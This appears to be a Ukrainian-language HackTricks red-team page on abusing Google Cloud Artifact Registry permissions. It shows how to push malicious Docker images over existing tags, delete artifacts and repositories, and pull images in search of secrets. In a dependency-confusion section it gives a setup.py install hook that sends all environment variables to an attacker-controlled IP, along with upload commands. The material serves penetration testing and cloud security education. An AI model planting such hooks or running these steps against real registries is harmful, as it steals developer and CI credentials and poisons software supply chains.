GCP - Artifact Registry Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Artifact Registry

Для додаткової інформації про Artifact Registry дивіться:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

З цим дозволом атакуючий може завантажувати нові версії артефактів з шкідливим кодом, наприклад Docker images:

Завантажити Docker image в Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Було перевірено, що **можна завантажити новий шкідливий docker** image з тим самим ім'ям і tag, що вже присутній, тож **старий втратить tag**, і наступного разу, коли image з цим tag буде завантажено, **буде завантажено шкідливий**.

<details>

<summary>Завантажити Python бібліотеку</summary>

**Почніть зі створення бібліотеки для завантаження** (якщо ви можете завантажити останню версію з реєстру, ви можете уникнути цього кроку):

1.  **Налаштуйте структуру проекту**:

- Створіть новий каталог для вашої бібліотеки, наприклад, `hello_world_library`.
- Всередині цього каталогу створіть ще один каталог з назвою пакета, наприклад, `hello_world`.
- Всередині каталогу пакета створіть файл `__init__.py`. Цей файл може бути порожнім або містити ініціалізації для вашого пакета.

<details>
<summary>Створити структуру проекту</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Напишіть код бібліотеки:
  • Всередині каталогу hello_world створіть новий Python-файл для вашого модуля, наприклад, greet.py.
  • Напишіть вашу функцію “Hello, World!”:
Створити модуль бібліотеки
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Створіть файл setup.py:
  • У корені вашого каталогу hello_world_library створіть файл setup.py.
  • Цей файл містить метадані про вашу бібліотеку і вказує Python, як її встановлювати.
Створити setup.py файл
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Тепер давайте завантажимо бібліотеку:

  1. Зберіть пакет:
  • З кореня вашого каталогу hello_world_library виконайте:
Збірка Python пакета
python3 setup.py sdist bdist_wheel
  1. Налаштуйте автентифікацію для twine (використовується для завантаження вашого пакета):
  • Переконайтеся, що у вас встановлений twine (pip install twine).
  • Використайте gcloud для налаштування облікових даних:
Завантажити пакет за допомогою twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Очистити збірку
Очистити артефакти збірки ```bash rm -rf dist build hello_world.egg-info ```

Caution

Неможливо завантажити python-бібліотеку з тією самою версією, що вже присутня, але можна завантажити більші версії (або додати додаткове .0 в кінці версії, якщо це працює — хоча не для python), або видалити останню версію і завантажити нову з тією ж версією (потрібний artifactregistry.versions.delete):**

Видалити версію артефакту
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Маючи цей дозвіл, ви можете завантажувати артефакти та шукати чутливу інформацію й вразливості.

Завантажити Docker-образ:

Завантажити Docker-образ з Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Завантажити **python** бібліотеку:

<details>
<summary>Завантажити Python бібліотеку з Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • Що станеться, якщо віддалений і стандартний реєстри змішані в одному віртуальному реєстрі і пакет існує в обох? Перевірте цю сторінку:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Видалити артефакти з реєстру, наприклад docker images:

Видалити Docker image з Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Видалити повний репозиторій (навіть якщо він містить вміст):

Видалити репозиторій Artifact Registry ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Зловмисник із цим дозволом може надати собі права для виконання деяких із раніше згаданих атак на репозиторій.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

Коли створюється Cloud Function, новий docker image завантажується в Artifact Registry проєкту. Я намагався замінити image на новий і навіть видалити поточний image (та cache image), але нічого не змінилося — cloud function продовжувала працювати. Отже, можливо можна зловживати Race Condition attack, як із bucket, щоб змінити docker container, який буде запущено, але лише модифікація збереженого image не дозволяє скомпрометувати Cloud Function.

  • App Engine

Хоча App Engine створює docker images в Artifact Registry. Було перевірено, що навіть якщо ви зміните image всередині цього сервісу і видалите інстанс App Engine (тобто буде розгорнутий новий), виконуваний код не змінюється.
Можливо, що виконання Race Condition attack, подібної до тієї для buckets, може дозволити перезаписати виконуваний код, але це не було протестовано.

artifactregistry.repositories.update

Зловмиснику не потрібні спеціальні дозволи Artifact Registry, щоб експлуатувати цю проблему — достатньо вразливої конфігурації virtual-repository. Це трапляється, коли virtual repository поєднує remote public repository (наприклад, PyPI, npm) з internal, і remote source має рівний або вищий пріоритет. Якщо обидва містять package з однаковою назвою, система обирає найвищу версію. Зловмиснику потрібно лише знати назву internal package і мати можливість публікувати пакети у відповідний public registry.

За наявності дозволу artifactregistry.repositories.update зловмисник може змінити upstream-настройки virtual repository, навмисно створивши цю вразливу конфігурацію, і використати Dependency Confusion як метод персистенції, вставивши шкідливі пакети, які розробники або CI/CD системи можуть встановлювати автоматично.

Зловмисник створює шкідливу версію internal package в public repository з вищим номером версії. Для Python packages це означає підготувати структуру пакета, яка імітує легітимну.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Далі створюється файл setup.py, який містить шкідливий код, що виконається під час встановлення. Цей файл повинен вказувати номер версії вищий за той, що у приватному репозиторії.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Збудуйте пакет і видаліть wheel, щоб переконатися, що код виконається під час встановлення.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Завантажте шкідливий пакет до публічного репозиторію (наприклад, test.pypi.org для Python).

pip install twine
twine upload --repository testpypi dist/*

Коли система або сервіс встановлює пакет через віртуальний репозиторій, буде завантажено шкідливу версію з публічного репозиторію замість легітимної внутрішньої, оскільки шкідлива версія має вищий номер версії, а віддалений репозиторій має рівний або вищий пріоритет.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks